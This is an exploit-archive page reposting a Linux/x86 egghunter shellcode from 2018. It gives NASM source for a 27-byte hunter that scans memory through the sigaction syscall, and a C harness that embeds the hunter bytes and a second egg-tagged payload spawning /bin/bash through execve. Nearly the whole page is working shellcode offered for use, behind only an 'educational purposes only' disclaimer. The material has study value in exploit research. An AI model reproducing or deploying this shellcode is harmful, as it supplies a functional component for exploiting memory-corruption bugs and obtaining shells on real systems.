Linux/x86 egghunter (0x50905090) + sigaction() shellcode (27 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-09-20 | Type : shellcode | Platform : linux_x86
This exploit / vulnerability Linux/x86 egghunter (0x50905090) + sigaction() shellcode (27 bytes) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

/*
# Title: Linux/x86 - Egghunter + sigaction-based Shellcode (27 bytes)
# Author:Valbrux
# Date: 2018-09-19
# This exploit is a dirty-slow but small version of the sigaction-based egg hunter shellcode

global _start

section .text

;zeroing ecx
xor ecx,ecx

_start:
;increment
inc ecx
;sigaction syscall number
push byte 67
pop eax
;executing syscall
int 0x80
;if EFAULT
cmp al,0xf2
;page alignment
jz _start
;moving EGG
mov eax,0x50905090
;current address
mov edi,ecx
;checking current address with EGG two times
scasd
jnz _start
scasd
jnz _start
;if equals jump to shellcode
jmp edi

*/

#include <stdio.h>
#include <string.h>
#define EGG "\x90\x50\x90\x50"

unsigned char code[] = EGG EGG"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

//27 Bytes
unsigned char egg[] = "\x31\xc9\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf6\xb8"EGG"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

main()
{
printf("Egg length: %d\n",strlen(egg));
printf("Shellcode lenght: %d\n",strlen(code));
int (*ret)() = (int(*)())egg;
ret();

}